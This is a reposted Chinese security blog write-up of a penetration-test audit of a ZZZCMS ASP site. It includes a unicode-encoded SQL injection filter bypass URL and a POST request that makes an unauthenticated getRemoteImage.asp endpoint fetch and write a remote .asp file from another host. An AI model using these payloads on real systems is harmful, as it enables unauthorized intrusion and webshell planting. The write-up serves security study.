实战 | 记一次ASP站点代码审计的利用
2022-10-14 10:16:2 Author: mp.weixin.qq.com(查看原文) 阅读量:22 收藏

现在在酒店等国护开始,之前市hw的时候碰到的一个asp环境,因为相关的漏洞都是php版本的,而环境是asp,所以找了个源码进行审计下,这边做个记录

一个注入iis+asp,通过unicode编码配合注入发现select字符会被截断,导致无法进行利用

https://xxxxx.cn/web/xxxxx.mhtml?cid=1e2unio%u004e--xx selec%u0054~1,2,3,4,5,6

当时目标站点前台环境是在/web下的,而后台环境是在/下的,所以我不知道它前台是如何写的,跟源码对应不上,所以我这里就着重来分析后台的代码

先看 admin\index.asp,这个代码下首先会先引入zzz_admin.asp文件

<!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="Cache-Control" content="no-siteapp" />...
...
...
...

inc\zzz_admin.asp的鉴权代码,getsession不可控,所以只要引入的zzz_admin.asp的文件都不能利用

if getsession("adminid")="" then   if ifstrin(getNowPagePath(),adminpath) then
  aspgo sitepath&adminpath&"login.asp?act=relog"
  else
  aspgo sitepath
  end ifend if

我发现它zzz_Content中的代码全部都引入了鉴权模块zzz_admin.asp

这里还有两个相关的上传组件,分别是webuploader和ueditor,这里分别进行观察

这里的ueditor引用的是webuploader组件

因为这套zzzcms在安装的时候,默认会将当前的admin目录进行修改为admin+三位数字作为后台目录

这边的话发现的一个文件是webuploader下的一个文件,admin468/inc/webuploader/config.asp,直接访问的是可以看到对应的后台目录的,但是前提是需要知道后台目录,所以没有什么多大的用处

因为我当时的目标站点是被二次开发过的,空的话则代表默认根路径就是后台站点,实战环境下所以我这边/inc/webuploader/config.asp

这边发现webuploader的admin\inc\webuploader\getRemoteImage.asp没有对上传组件进行单独鉴权操作,如下图所示

http://192.168.4.149/admin468/inc/webuploader/getRemoteImage.asp

post:file=http://192.168.88.165:8080/en_moban.asp

回显如下,可以看到对应的文件名

可以看到已经写入了,如下图所示

文章来源:HACK学习呀

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650553772&idx=3&sn=a66dd8fe302c36bed83a94397e203ece&chksm=83bd5848b4cad15e937ba2851aaaa7f8b7bafd17d7603a12c2000ed8ff2d712cacc3838fd20d#rd
如有侵权请联系:admin#unsafe.sh